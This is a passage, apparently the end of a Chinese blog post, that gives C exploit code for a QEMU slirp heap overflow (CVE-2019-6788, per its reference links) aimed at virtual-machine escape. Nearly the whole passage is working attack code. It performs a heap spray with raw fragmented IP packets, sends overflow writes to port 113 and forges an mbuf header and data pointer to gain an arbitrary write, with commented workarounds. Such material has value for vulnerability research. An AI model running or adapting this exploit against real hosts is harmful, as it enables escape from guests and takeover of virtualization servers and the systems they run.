uint8_t *payload = (uint8_t *)malloc(IP_MAXPACKET);
uint8_t *payload_start = payload;
uint32_t *payload32 = (uint32_t *)payload;
uint64_t *payload64 = (uint64_t *)payload;

memset(payload, 'A', 0x1000);

for (i = 0; i < spray_times; ++i) {
dbg_printf("spraying size 0x2000, id: %d\n", i);
spray(0x2000, g_spray_ip_id + i);
}
dbg_printf("spray finished.\n");

s = socket(AF_INET, SOCK_STREAM, 0);
ip_addr.sin_family = AF_INET;
ip_addr.sin_addr.s_addr = inet_addr(host);
ip_addr.sin_port = htons(113); // vulnerable port
len = sizeof(struct sockaddr_in);
ret = connect(s, (struct sockaddr *)&ip_addr, len);
if (ret == -1) {
perror("oops: client");
exit(1);
}
pkt_info.ip_id = 0xdead;
pkt_info.ip_off = 0;
pkt_info.MF = 1;
pkt_info.ip_p = 0xff;
send_ip_pkt(&pkt_info, payload, 0x300 + 4); // 这个packet就在so_rcv的后面

/*
let's overflow here!
send(xxx)
*/
for (i = 0; i < 6; ++i) {
write(s, payload, 0x500); // 不能send一个满的m_buf,因为会有一个off by
// null = =。。。。
usleep(20000); // 不知道为啥,貌似内核会合并包?
// 如果合并了就会off by null...
// 所以sleep一下
dbg_printf("send %d complete\n", i + 1);
}
write(s, payload, 1072);
// actual overflow here
*payload64++ = 0;
*payload64++ = 0x675; // chunk header
*payload64++ = 0; // m_next
*payload64++ = 0; // m_prev
*payload64++ = 0; // m_nextpkt
*payload64++ = 0; // m_prevpkt
payload32 = (uint32_t *)payload64;
*payload32++ = 0; // m_flags
*payload32++ = 0x608; // m_size
payload64 = (uint64_t *)payload32;
*payload64++ = 0; // m_so
payload = (uint8_t *)payload64;
assert(addr_len <= 8);
for (i = 0; i < addr_len; ++i) {
*payload++ = (addr >> (i * 8)) & 0xff; // m_data
}
write(s, payload_start, (uint8_t *)payload - payload_start);
// write(s, payload, 0x1000);
pkt_info.ip_id = 0xdead;
pkt_info.ip_off = 0x300 + 24;
pkt_info.MF = 0;
pkt_info.ip_p = 0xff;
send_ip_pkt(&pkt_info, write_data, write_data_len);

close(s);
free(payload_start);
if (stop_flag) {
puts("trigger!");
getchar();
}
return 0;
}

// 真正malloc的大小是payloadlen + 64
void send_ip_pkt(struct ip_pkt_info *pkt_info, uint8_t *payload,
int payloadlen) {
int status, sd, *ip_flags, *tcp_flags;
const int on = 1;
char *interface, *src_ip, *dst_ip;
struct ip iphdr;
uint8_t *packet;
struct sockaddr_in sin;
struct ifreq ifr;

// Allocate memory for various arrays.
packet = allocate_ustrmem(IP_MAXPACKET);
interface = allocate_strmem(40);
src_ip = allocate_strmem(INET_ADDRSTRLEN);
dst_ip = allocate_strmem(INET_ADDRSTRLEN);
ip_flags = allocate_intmem(4);
tcp_flags = allocate_intmem(8);

// Interface to send packet through.
strcpy(interface, g_interface);

// Submit request for a socket descriptor to look up interface.
if ((sd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("socket() failed to get socket descriptor for using ioctl() ");
exit(EXIT_FAILURE);
}

// Use ioctl() to look up interface index which we will use to
// bind socket descriptor sd to specified interface with setsockopt() since
// none of the other arguments of sendto() specify which interface to use.
memset(&ifr, 0, sizeof(ifr));
snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", interface);
if (ioctl(sd, SIOCGIFINDEX, &ifr) < 0) {
perror("ioctl() failed to find interface ");
exit(EXIT_FAILURE);
}
close(sd);

// Source IPv4 address: you need to fill this out
strcpy(src_ip, "127.0.0.1");
strcpy(dst_ip, "127.0.0.1");

// IPv4 header
// IPv4 header length (4 bits): Number of 32-bit words in header = 5
iphdr.ip_hl = IP4_HDRLEN / sizeof(uint32_t);
// Internet Protocol version (4 bits): IPv4
iphdr.ip_v = 4;
// Type of service (8 bits)
iphdr.ip_tos = 0;
// Total length of datagram (16 bits): IP header + TCP header + TCP data
iphdr.ip_len = htons(IP4_HDRLEN + payloadlen);
// ID sequence number (16 bits): unused, since single datagram
iphdr.ip_id = htons(pkt_info->ip_id);
// Flags, and Fragmentation offset (3, 13 bits): 0 since single datagram
// Zero (1 bit)
ip_flags[0] = 0;
// Do not fragment flag (1 bit)
ip_flags[1] = 0;
// More fragments following flag (1 bit)
ip_flags[2] = pkt_info->MF;
// Fragmentation offset (13 bits)
ip_flags[3] = 0;

iphdr.ip_off =
htons((ip_flags[0] << 15) + (ip_flags[1] << 14) + (ip_flags[2] << 13) +
ip_flags[3] + (pkt_info->ip_off >> 3));
// Time-to-Live (8 bits): default to maximum value
iphdr.ip_ttl = 255;
// Transport layer protocol (8 bits): 6 for TCP
iphdr.ip_p = pkt_info->ip_p;
// iphdr.ip_p = IPPROTO_TCP;

// Source IPv4 address (32 bits)
if ((status = inet_pton(AF_INET, src_ip, &(iphdr.ip_src))) != 1) {
dbg_printf("inet_pton() failed.\nError message: %s", strerror(status));
exit(EXIT_FAILURE);
}

// Destination IPv4 address (32 bits)
if ((status = inet_pton(AF_INET, dst_ip, &(iphdr.ip_dst))) != 1) {
dbg_printf("inet_pton() failed.\nError message: %s", strerror(status));
exit(EXIT_FAILURE);
}

// IPv4 header checksum (16 bits): set to 0 when calculating checksum
iphdr.ip_sum = 0;
iphdr.ip_sum = checksum((uint16_t *)&iphdr, IP4_HDRLEN);

// Prepare packet.
// First part is an IPv4 header.
memcpy(packet, &iphdr, IP4_HDRLEN * sizeof(uint8_t));
// Last part is upper layer protocol data.
memcpy((packet + IP4_HDRLEN), payload, payloadlen * sizeof(uint8_t));

// The kernel is going to prepare layer 2 information (ethernet frame
// header) for us. For that, we need to specify a destination for the kernel
// in order for it to decide where to send the raw datagram. We fill in a
// struct in_addr with the desired destination IP address, and pass this
// structure to the sendto() function.
memset(&sin, 0, sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = iphdr.ip_dst.s_addr;

// Submit request for a raw socket descriptor.
if ((sd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("socket() failed ");
exit(EXIT_FAILURE);
}

// Set flag so socket expects us to provide IPv4 header.
if (setsockopt(sd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
perror("setsockopt() failed to set IP_HDRINCL ");
exit(EXIT_FAILURE);
}

// Bind socket to interface index.
if (setsockopt(sd, SOL_SOCKET, SO_BINDTODEVICE, &ifr, sizeof(ifr)) < 0) {
perror("setsockopt() failed to bind to interface ");
exit(EXIT_FAILURE);
}

// Send packet.
if (sendto(sd, packet, IP4_HDRLEN + TCP_HDRLEN + payloadlen, 0,
(struct sockaddr *)&sin, sizeof(struct sockaddr)) < 0) {
perror("sendto() failed ");
exit(EXIT_FAILURE);
}

// Close socket descriptor.
close(sd);
// Free allocated memory.
free(packet);
free(interface);
free(src_ip);
free(dst_ip);
free(ip_flags);
free(tcp_flags);
}

void spray(int size, uint16_t ip_id) {
int i, status, sd, *ip_flags, *tcp_flags;
const int on = 1;
char *interface, *src_ip, *dst_ip;
struct ip iphdr;
struct tcphdr tcphdr;
char *payload;
int payloadlen;
uint8_t *packet;
struct sockaddr_in sin;
struct ifreq ifr;

// Allocate memory for various arrays.
packet = allocate_ustrmem(IP_MAXPACKET);
interface = allocate_strmem(40);
src_ip = allocate_strmem(INET_ADDRSTRLEN);
dst_ip = allocate_strmem(INET_ADDRSTRLEN);
ip_flags = allocate_intmem(4);
tcp_flags = allocate_intmem(8);
payload = allocate_strmem(IP_MAXPACKET);

payloadlen = size - 84;

// Interface to send packet through.
strcpy(interface, g_interface);

// Submit request for a socket descriptor to look up interface.
if ((sd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("socket() failed to get socket descriptor for using ioctl() ");
exit(EXIT_FAILURE);
}

// Use ioctl() to look up interface index which we will use to
// bind socket descriptor sd to specified interface with setsockopt() since
// none of the other arguments of sendto() specify which interface to use.
memset(&ifr, 0, sizeof(ifr));
snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", interface);
if (ioctl(sd, SIOCGIFINDEX, &ifr) < 0) {
perror("ioctl() failed to find interface ");
exit(EXIT_FAILURE);
}
close(sd);
// dbg_printf("Index for interface %s is %i\n", interface, ifr.ifr_ifindex);

// Source IPv4 address: you need to fill this out
strcpy(src_ip, "127.0.0.1");
strcpy(dst_ip, "127.0.0.1");

// IPv4 header
// IPv4 header length (4 bits): Number of 32-bit words in header = 5
iphdr.ip_hl = IP4_HDRLEN / sizeof(uint32_t);
// Internet Protocol version (4 bits): IPv4
iphdr.ip_v = 4;
// Type of service (8 bits)
iphdr.ip_tos = 0;
// Total length of datagram (16 bits): IP header + TCP header + TCP data
iphdr.ip_len = htons(IP4_HDRLEN + TCP_HDRLEN + payloadlen);
// ID sequence number (16 bits): unused, since single datagram
iphdr.ip_id = htons(ip_id);
// Flags, and Fragmentation offset (3, 13 bits): 0 since single datagram
// Zero (1 bit)
ip_flags[0] = 0;
// Do not fragment flag (1 bit)
ip_flags[1] = 0;
// More fragments following flag (1 bit)
ip_flags[2] = 1;
// Fragmentation offset (13 bits)
ip_flags[3] = 0;

iphdr.ip_off = htons((ip_flags[0] << 15) + (ip_flags[1] << 14) +
(ip_flags[2] << 13) + ip_flags[3]);
// Time-to-Live (8 bits): default to maximum value
iphdr.ip_ttl = 255;
// Transport layer protocol (8 bits): 6 for TCP
iphdr.ip_p = IPPROTO_TCP;

// Source IPv4 address (32 bits)
if ((status = inet_pton(AF_INET, src_ip, &(iphdr.ip_src))) != 1) {
dbg_printf("inet_pton() failed.\nError message: %s", strerror(status));
exit(EXIT_FAILURE);
}

// Destination IPv4 address (32 bits)
if ((status = inet_pton(AF_INET, dst_ip, &(iphdr.ip_dst))) != 1) {
dbg_printf("inet_pton() failed.\nError message: %s", strerror(status));
exit(EXIT_FAILURE);
}

// IPv4 header checksum (16 bits): set to 0 when calculating checksum
iphdr.ip_sum = 0;
iphdr.ip_sum = checksum((uint16_t *)&iphdr, IP4_HDRLEN);

// TCP header
// Source port number (16 bits)
tcphdr.th_sport = htons(60);
// Destination port number (16 bits)
tcphdr.th_dport = htons(80);
// Sequence number (32 bits)
tcphdr.th_seq = htonl(0);
// Acknowledgement number (32 bits)
tcphdr.th_ack = htonl(0);
// Reserved (4 bits): should be 0
tcphdr.th_x2 = 0;
// Data offset (4 bits): size of TCP header in 32-bit words
tcphdr.th_off = TCP_HDRLEN / 4;

// Flags (8 bits)
// FIN flag (1 bit)
tcp_flags[0] = 0;
// SYN flag (1 bit)
tcp_flags[1] = 0;
// RST flag (1 bit)
tcp_flags[2] = 0;
// PSH flag (1 bit)
tcp_flags[3] = 1;
// ACK flag (1 bit)
tcp_flags[4] = 1;
// URG flag (1 bit)
tcp_flags[5] = 0;
// ECE flag (1 bit)
tcp_flags[6] = 0;
// CWR flag (1 bit)
tcp_flags[7] = 0;
tcphdr.th_flags = 0;
for (i = 0; i < 8; i++) {
tcphdr.th_flags += (tcp_flags[i] << i);
}

// Window size (16 bits)
tcphdr.th_win = htons(65535);
// Urgent pointer (16 bits): 0 (only valid if URG flag is set)
tcphdr.th_urp = htons(0);
// TCP checksum (16 bits)
tcphdr.th_sum =
tcp4_checksum(iphdr, tcphdr, (uint8_t *)payload, payloadlen);

// Prepare packet.
// First part is an IPv4 header.
memcpy(packet, &iphdr, IP4_HDRLEN * sizeof(uint8_t));
// Next part of packet is upper layer protocol header.
memcpy((packet + IP4_HDRLEN), &tcphdr, TCP_HDRLEN * sizeof(uint8_t));
// Last part is upper layer protocol data.
memcpy((packet + IP4_HDRLEN + TCP_HDRLEN), payload,
payloadlen * sizeof(uint8_t));

// The kernel is going to prepare layer 2 information (ethernet frame
// header) for us. For that, we need to specify a destination for the kernel
// in order for it to decide where to send the raw datagram. We fill in a
// struct in_addr with the desired destination IP address, and pass this
// structure to the sendto() function.
memset(&sin, 0, sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = iphdr.ip_dst.s_addr;

// Submit request for a raw socket descriptor.
if ((sd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("socket() failed ");
exit(EXIT_FAILURE);
}

// Set flag so socket expects us to provide IPv4 header.
if (setsockopt(sd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
perror("setsockopt() failed to set IP_HDRINCL ");
exit(EXIT_FAILURE);
}

// Bind socket to interface index.
if (setsockopt(sd, SOL_SOCKET, SO_BINDTODEVICE, &ifr, sizeof(ifr)) < 0) {
perror("setsockopt() failed to bind to interface ");
exit(EXIT_FAILURE);
}

// Send packet.
if (sendto(sd, packet, IP4_HDRLEN + TCP_HDRLEN + payloadlen, 0,
(struct sockaddr *)&sin, sizeof(struct sockaddr)) < 0) {
perror("sendto() failed ");
exit(EXIT_FAILURE);
}

// Close socket descriptor.
close(sd);
// Free allocated memory.
free(packet);
free(interface);
free(src_ip);
free(dst_ip);
free(ip_flags);
free(tcp_flags);
free(payload);
}

// Computing the internet checksum (RFC 1071).
// Note that the internet checksum does not preclude collisions.
uint16_t checksum(uint16_t *addr, int len) {
int count = len;
register uint32_t sum = 0;
uint16_t answer = 0;

// Sum up 2-byte values until none or only one byte left.
while (count > 1) {
sum += *(addr++);
count -= 2;
}

// Add left-over byte, if any.
if (count > 0) {
sum += *(uint8_t *)addr;
}

// Fold 32-bit sum into 16 bits; we lose information by doing this,
// increasing the chances of a collision.
// sum = (lower 16 bits) + (upper 16 bits shifted right 16 bits)
while (sum >> 16) {
sum = (sum & 0xffff) + (sum >> 16);
}

// Checksum is one's compliment of sum.
answer = ~sum;

return (answer);
}

// Build IPv4 ICMP pseudo-header and call checksum function.
uint16_t icmp4_checksum(struct icmp icmphdr, uint8_t *payload, int payloadlen) {
char buf[IP_MAXPACKET];
char *ptr;
int chksumlen = 0;
int i;

ptr = &buf[0]; // ptr points to beginning of buffer buf

// Copy Message Type to buf (8 bits)
memcpy(ptr, &icmphdr.icmp_type, sizeof(icmphdr.icmp_type));
ptr += sizeof(icmphdr.icmp_type);
chksumlen += sizeof(icmphdr.icmp_type);

// Copy Message Code to buf (8 bits)
memcpy(ptr, &icmphdr.icmp_code, sizeof(icmphdr.icmp_code));
ptr += sizeof(icmphdr.icmp_code);
chksumlen += sizeof(icmphdr.icmp_code);

// Copy ICMP checksum to buf (16 bits)
// Zero, since we don't know it yet
*ptr = 0;
ptr++;
*ptr = 0;
ptr++;
chksumlen += 2;

// Copy Identifier to buf (16 bits)
memcpy(ptr, &icmphdr.icmp_id, sizeof(icmphdr.icmp_id));
ptr += sizeof(icmphdr.icmp_id);
chksumlen += sizeof(icmphdr.icmp_id);

// Copy Sequence Number to buf (16 bits)
memcpy(ptr, &icmphdr.icmp_seq, sizeof(icmphdr.icmp_seq));
ptr += sizeof(icmphdr.icmp_seq);
chksumlen += sizeof(icmphdr.icmp_seq);

// Copy payload to buf
memcpy(ptr, payload, payloadlen);
ptr += payloadlen;
chksumlen += payloadlen;

// Pad to the next 16-bit boundary
for (i = 0; i < payloadlen % 2; i++, ptr++) {
*ptr = 0;
ptr++;
chksumlen++;
}

return checksum((uint16_t *)buf, chksumlen);
}

// Build IPv4 TCP pseudo-header and call checksum function.
uint16_t tcp4_checksum(struct ip iphdr, struct tcphdr tcphdr, uint8_t *payload,
int payloadlen) {
uint16_t svalue;
char buf[IP_MAXPACKET], cvalue;
char *ptr;
int i, chksumlen = 0;

// ptr points to beginning of buffer buf
ptr = &buf[0];

// Copy source IP address into buf (32 bits)
memcpy(ptr, &iphdr.ip_src.s_addr, sizeof(iphdr.ip_src.s_addr));
ptr += sizeof(iphdr.ip_src.s_addr);
chksumlen += sizeof(iphdr.ip_src.s_addr);

// Copy destination IP address into buf (32 bits)
memcpy(ptr, &iphdr.ip_dst.s_addr, sizeof(iphdr.ip_dst.s_addr));
ptr += sizeof(iphdr.ip_dst.s_addr);
chksumlen += sizeof(iphdr.ip_dst.s_addr);

// Copy zero field to buf (8 bits)
*ptr = 0;
ptr++;
chksumlen += 1;

// Copy transport layer protocol to buf (8 bits)
memcpy(ptr, &iphdr.ip_p, sizeof(iphdr.ip_p));
ptr += sizeof(iphdr.ip_p);
chksumlen += sizeof(iphdr.ip_p);

// Copy TCP length to buf (16 bits)
svalue = htons(sizeof(tcphdr) + payloadlen);
memcpy(ptr, &svalue, sizeof(svalue));
ptr += sizeof(svalue);
chksumlen += sizeof(svalue);

// Copy TCP source port to buf (16 bits)
memcpy(ptr, &tcphdr.th_sport, sizeof(tcphdr.th_sport));
ptr += sizeof(tcphdr.th_sport);
chksumlen += sizeof(tcphdr.th_sport);

// Copy TCP destination port to buf (16 bits)
memcpy(ptr, &tcphdr.th_dport, sizeof(tcphdr.th_dport));
ptr += sizeof(tcphdr.th_dport);
chksumlen += sizeof(tcphdr.th_dport);

// Copy sequence number to buf (32 bits)
memcpy(ptr, &tcphdr.th_seq, sizeof(tcphdr.th_seq));
ptr += sizeof(tcphdr.th_seq);
chksumlen += sizeof(tcphdr.th_seq);

// Copy acknowledgement number to buf (32 bits)
memcpy(ptr, &tcphdr.th_ack, sizeof(tcphdr.th_ack));
ptr += sizeof(tcphdr.th_ack);
chksumlen += sizeof(tcphdr.th_ack);

// Copy data offset to buf (4 bits) and
// copy reserved bits to buf (4 bits)
cvalue = (tcphdr.th_off << 4) + tcphdr.th_x2;
memcpy(ptr, &cvalue, sizeof(cvalue));
ptr += sizeof(cvalue);
chksumlen += sizeof(cvalue);

// Copy TCP flags to buf (8 bits)
memcpy(ptr, &tcphdr.th_flags, sizeof(tcphdr.th_flags));
ptr += sizeof(tcphdr.th_flags);
chksumlen += sizeof(tcphdr.th_flags);

// Copy TCP window size to buf (16 bits)
memcpy(ptr, &tcphdr.th_win, sizeof(tcphdr.th_win));
ptr += sizeof(tcphdr.th_win);
chksumlen += sizeof(tcphdr.th_win);

// Copy TCP checksum to buf (16 bits)
// Zero, since we don't know it yet
*ptr = 0;
ptr++;
*ptr = 0;
ptr++;
chksumlen += 2;

// Copy urgent pointer to buf (16 bits)
memcpy(ptr, &tcphdr.th_urp, sizeof(tcphdr.th_urp));
ptr += sizeof(tcphdr.th_urp);
chksumlen += sizeof(tcphdr.th_urp);

// Copy payload to buf
memcpy(ptr, payload, payloadlen);
ptr += payloadlen;
chksumlen += payloadlen;

// Pad to the next 16-bit boundary
for (i = 0; i < payloadlen % 2; i++, ptr++) {
*ptr = 0;
ptr++;
chksumlen++;
}

return checksum((uint16_t *)buf, chksumlen);
}

// Allocate memory for an array of chars.
char *allocate_strmem(int len) {
char *tmp;

if (len <= 0) {
dbg_printf("ERROR: Cannot allocate memory because len = %i in "
"allocate_strmem().\n",
len);
exit(EXIT_FAILURE);
}

tmp = (char *)malloc(len * sizeof(char));
if (tmp != NULL) {
memset(tmp, 0, len * sizeof(char));
return (tmp);
} else {
dbg_printf(
"ERROR: Cannot allocate memory for array allocate_strmem().\n");
exit(EXIT_FAILURE);
}
}

// Allocate memory for an array of unsigned chars.
uint8_t *allocate_ustrmem(int len) {
uint8_t *tmp;

if (len <= 0) {
dbg_printf("ERROR: Cannot allocate memory because len = %i in "
"allocate_ustrmem().\n",
len);
exit(EXIT_FAILURE);
}

tmp = (uint8_t *)malloc(len * sizeof(uint8_t));
if (tmp != NULL) {
memset(tmp, 0, len * sizeof(uint8_t));
return (tmp);
} else {
dbg_printf(
"ERROR: Cannot allocate memory for array allocate_ustrmem().\n");
exit(EXIT_FAILURE);
}
}

// Allocate memory for an array of ints.
int *allocate_intmem(int len) {
int *tmp;

if (len <= 0) {
dbg_printf("ERROR: Cannot allocate memory because len = %i in "
"allocate_intmem().\n",
len);
exit(EXIT_FAILURE);
}

tmp = (int *)malloc(len * sizeof(int));
if (tmp != NULL) {
memset(tmp, 0, len * sizeof(int));
return (tmp);
} else {
dbg_printf(
"ERROR: Cannot allocate memory for array allocate_intmem().\n");
exit(EXIT_FAILURE);
}
}

void hexdump(const char *desc, void *addr, int len) {
int i;
unsigned char buff[17];
unsigned char *pc = (unsigned char *)addr;

// Output description if given.
if (desc != NULL)
printf("%s:\n", desc);
if (len == 0) {
printf(" ZERO LENGTH\n");
return;
}
if (len < 0) {
printf(" NEGATIVE LENGTH: %i\n", len);
return;
}

// Process every byte in the data.
for (i = 0; i < len; i++) {
// Multiple of 16 means new line (with line offset).
if ((i % 16) == 0) {
// Just don't print ASCII for the zeroth line.
if (i != 0)
printf(" %s\n", buff);
// Output the offset.
printf(" %04x ", i);
}
// Now the hex code for the specific character.
printf(" %02x", pc[i]);
// And store a printable ASCII character for later.
if ((pc[i] < 0x20) || (pc[i] > 0x7e))
buff[i % 16] = '.';
else
buff[i % 16] = pc[i];
buff[(i % 16) + 1] = '\0';
}
// Pad out last line if not exactly 16 characters.
while ((i % 16) != 0) {
printf(" ");
i++;
}
// And print the final ASCII bit.
printf(" %s\n", buff);
}

参考

https://ray-cp.github.io/archivers/qemu-pwn-cve-2019-6788%E5%A0%86%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90

https://github.com/0xKira/qemu-vm-escape/blob/master/exp.c

http://couplee.wang/wnagzihxa1n/SecurityDaily/2020.04.04.html

打赏还是打残,这是个问题